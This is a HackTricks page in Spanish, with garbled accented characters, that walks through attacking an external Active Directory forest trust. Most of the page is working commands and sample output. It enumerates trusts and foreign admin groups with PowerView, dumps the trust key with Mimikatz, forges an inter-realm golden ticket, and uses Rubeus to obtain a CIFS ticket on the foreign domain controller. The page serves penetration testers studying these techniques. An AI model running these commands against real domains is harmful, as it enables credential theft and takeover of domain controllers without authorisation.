HackTricksDominio de Bosque Externo - Unidireccional (Entrante) o bidireccional
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
En este escenario, un dominio externo te est谩 confiando (o ambos se est谩n confiando mutuamente), por lo que puedes obtener alg煤n tipo de acceso sobre 茅l.
Enumeraci贸n
Primero que nada, necesitas enumerar la confianza:
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external
# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins
# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser
# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName : Administrators
MemberName : SUB\External Admins
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup : True
IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
En la enumeraci贸n anterior se encontr贸 que el usuario crossuser est谩 dentro del grupo External Admins que tiene acceso de administrador dentro del DC del dominio externo.
Acceso Inicial
Si no pudiste encontrar ning煤n acceso especial de tu usuario en el otro dominio, a煤n puedes volver a la Metodolog铆a de AD y tratar de privesc desde un usuario no privilegiado (cosas como kerberoasting, por ejemplo):
Puedes usar las funciones de Powerview para enumerar el otro dominio usando el par谩metro -Domain como en:
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
Suplantaci贸n
Inicio de sesi贸n
Usando un m茅todo regular con las credenciales de los usuarios que tienen acceso al dominio externo, deber铆as poder acceder a:
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
Abuso de SID History
Tambi茅n podr铆as abusar de SID History a trav茅s de un trust de bosque.
Si un usuario es migrado de un bosque a otro y el filtrado de SID no est谩 habilitado, se vuelve posible agregar un SID del otro bosque, y este SID ser谩 agregado al token del usuario al autenticar a trav茅s del trust.
warning
Como recordatorio, puedes obtener la clave de firma con
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
Podr铆as firmar con la clave confiable un TGT suplantando al usuario del dominio actual.
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Forma completa de suplantar al usuario
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.